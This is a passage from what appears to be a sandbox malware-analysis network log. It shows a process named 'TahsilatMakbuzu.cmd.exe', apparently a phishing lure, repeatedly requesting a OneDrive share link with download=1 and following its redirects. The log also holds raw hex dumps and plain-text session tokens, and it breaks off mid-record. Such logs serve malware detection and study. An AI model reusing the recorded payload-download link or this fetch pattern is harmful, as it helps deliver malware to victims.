4NaP3i2ZezqL_w0Fu1I6lmof3EG7SmIw9aCmMOkXBpoyX1OHvJ0pUhlteHnlI1dNGCWmQvE-UmjWUvZBMbRPtZDyZ5n_u91PqP6TgsY4G9Eew7w; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:23 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-fqg89 X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 9ABAE53073F54B0D92DFC0EDF67C54FF Ref B: BN3EDGE1120 Ref C: 2024-07-04T18:17:22Z Date: Thu, 04 Jul 2024 18:17:23 GMT Connection: close
2024-07-04 18:17:23 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49801	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:24 UTC	1285	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODQyLCJuYmYiOjE3MjAxMTcwNDIsImdpdmVuX25hbWUiOiIzNiIsImZhbWlseV9uYW1lIjoiV2FzcCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjU1YmM3N2QxODAxNGI4OTZhYWRjMTVkYTg5YjFhNTc2IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNDJ9.L7-toSJZI05V5iJsMTf-QgNTMOVxzKRom_LXKzotIarHLj78V_Xla6dyJ14TkHOJx4d8sFTzyrJxEPC1R96ujrU4bbpwFSZAthks7G27Q2RRk7gmWpSr_dlgidCRcMBchY2k5H2wmAb6KVSnOOq522akNEcZ2w_IHPNQM9BuJ7tnabVwBZww-VYKL3f8j8xQdWonpM5oP4JpmqBisSZOlDZlZlzBoQwkIYnJ8_D4NaP3i2ZezqL_w0Fu1I6lmof3EG7SmIw9aCmMOkXBpoyX1OHvJ0pUhlteHnlI1dNGCWmQvE-UmjWUvZBMbRPtZDyZ5n_u91PqP6TgsY4G9Eew7w; E=P:+AvEjFWc3Ig=:X6j04TApGS2UvXO0jB19njyVNPMrJ3f9DWMJMjvXtAI=:F; xid=0eb8542f-34ec-4f64-8065-fa42bf60747b [TRUNCATED]
2024-07-04 18:17:24 UTC	1923	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205852 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,20603,0,78529,4 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 3f1239a1-e0cd-5000-dbf7-d89e75f0fb2c request-id: 3f1239a1-e0cd-5000-dbf7-d89e75f0fb2c MS-CV: oTkSP83gAFDb99iedfD7LA.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 28 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 4E98B53C614C4F6C9F9AF20790B98023 Ref B: BN3EDGE0710 Ref C: 2024-07-04T18:17:24Z Date: Thu, 04 Jul 2024 18:17:24 GMT Connection: close
2024-07-04 18:17:24 UTC	2221	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:24 UTC	8192	IN	Data Raw: 31 39 30 34 2c 2d 32 30 31 33 31 33 34 37 31 32 2c 39 38 39 35 34 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c 39 34 30 Data Ascii: 1904,-2013134712,98954,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,940
2024-07-04 18:17:24 UTC	4166	IN	Data Raw: 34 33 32 46 2d 39 37 31 46 2d 42 35 42 43 44 34 41 38 38 38 35 32 22 3a 74 72 75 65 2c 22 43 33 31 38 36 44 37 38 2d 37 30 35 41 2d 34 30 37 43 2d 41 43 35 32 2d 30 33 43 41 43 31 30 39 31 39 35 35 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 Data Ascii: 432F-971F-B5BCD4A88852":true,"C3186D78-705A-407C-AC52-03CAC1091955":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5
2024-07-04 18:17:24 UTC	8192	IN	Data Raw: 42 37 45 36 36 39 44 30 2d 46 31 38 46 2d 34 37 32 44 2d 42 37 38 41 2d 38 35 32 44 44 32 42 30 45 36 31 33 22 3a 74 72 75 65 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 Data Ascii: B7E669D0-F18F-472D-B78A-852DD2B0E613":true,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC6
2024-07-04 18:17:24 UTC	8192	IN	Data Raw: 2d 33 31 43 31 2d 34 33 44 43 2d 42 35 36 34 2d 37 38 32 44 37 42 32 37 43 43 39 45 22 3a 74 72 75 65 2c 22 30 30 34 30 45 35 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c Data Ascii: -31C1-43DC-B564-782D7B27CC9E":true,"0040E5ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,
2024-07-04 18:17:24 UTC	8192	IN	Data Raw: 36 33 2d 38 30 31 38 2d 39 41 38 41 45 32 38 32 34 46 39 32 22 3a 74 72 75 65 2c 22 42 43 30 34 36 35 44 41 2d 43 34 41 31 2d 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 Data Ascii: 63-8018-9A8AE2824F92":true,"BC0465DA-C4A1-4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"8146186
2024-07-04 18:17:24 UTC	8192	IN	Data Raw: 30 36 41 43 33 43 31 38 31 44 44 41 22 3a 74 72 75 65 2c 22 46 41 44 35 36 34 39 45 2d 41 35 30 30 2d 34 44 32 35 2d 39 45 32 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 Data Ascii: 06AC3C181DDA":true,"FAD5649E-A500-4D25-9E2A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4
2024-07-04 18:17:24 UTC	8192	IN	Data Raw: 36 38 37 41 22 3a 74 72 75 65 2c 22 38 32 42 42 39 44 35 31 2d 44 34 45 32 2d 34 42 32 42 2d 39 31 32 43 2d 34 30 39 35 43 34 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 Data Ascii: 687A":true,"82BB9D51-D4E2-4B2B-912C-4095C42955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B
2024-07-04 18:17:24 UTC	8192	IN	Data Raw: 75 65 2c 22 42 39 44 35 35 45 34 36 2d 43 37 31 37 2d 34 30 34 39 2d 41 38 41 34 2d 44 31 30 41 46 32 31 46 43 38 36 36 22 3a 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 Data Ascii: ue,"B9D55E46-C717-4049-A8A4-D10AF21FC866":true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8A
2024-07-04 18:17:24 UTC	8192	IN	Data Raw: 42 31 34 34 2d 41 35 46 33 2d 34 42 41 37 2d 41 34 31 38 2d 43 43 45 45 34 39 33 35 38 31 38 35 22 3a 74 72 75 65 2c 22 37 41 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 Data Ascii: B144-A5F3-4BA7-A418-CCEE49358185":true,"7AA8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49802	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:25 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:25 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BL4PPF48FB35278 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: D1aID2bBVUmWwqUkzgVS/Q.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 12B19823F23549E99A1A25E811A6AF2C Ref B: EWR30EDGE1612 Ref C: 2024-07-04T18:17:25Z Date: Thu, 04 Jul 2024 18:17:24 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49804	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:26 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:26 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DM2PPF373038301 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: m0pDgfjgGk6/3MAlLMZHuw.0 X-AsmVersion: UNKNOWN; 19.1458.703.2003 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 3C1EBB12E12D4CA6AF07FE5085127B73 Ref B: EWR30EDGE0915 Ref C: 2024-07-04T18:17:26Z Date: Thu, 04 Jul 2024 18:17:25 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49805	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:27 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:27 UTC	2223	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:Sk9Xj1Wc3Ig=:qaWJmxM4RRdwfHaBXLhHc1M22IgjsLZ1gf8ZoFpQ5UM=:F; domain=.live.com; path=/ Set-Cookie: xid=3c6214a5-5705-4280-b485-6d95033ae400&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:27 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODQ3LCJuYmYiOjE3MjAxMTcwNDcsImdpdmVuX25hbWUiOiI5OCIsImZhbWlseV9uYW1lIjoiRG90dGVyZWwiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJlOGVjNWVkODM5MDJjYmJhNjNkZGQ2NTU1OWM1NWQ2NSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDQ3fQ.Ol9LPqug3i7fEWvJLbwtzcKWM9K-c7SopSeodx5y_bZEze4E_GWoLNnug_JdKCRIdFaPDOS3Bu7sa0NGHmxIHvxFnpie-pAvnsG9S42a7cloF4BN_UNLR0fTHp6Wx40VFgGo5R4Y79nX755KITTY-5OUzRzjTrL8KygOee21CipK6ETveTmIZrCkfJRelzOOq9wXwygHdvyph4VryyB-3GGhUn69dcwyDHGLizwJm7oSXKJhBkHlfc8Ytfpz_50XRkP1kkTXRx6w5I36FDH22DaJBuCJNwQ4JEv9UibSkkpgzuB22NBuTtIjndbISvc8HeYlsEPZdcp5ws2nQf8X-A; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:27 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-4dqz8 X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 899473B0556946A6B058915FDD0CD47B Ref B: BN3EDGE0412 Ref C: 2024-07-04T18:17:27Z Date: Thu, 04 Jul 2024 18:17:27 GMT Connection: close
2024-07-04 18:17:27 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object 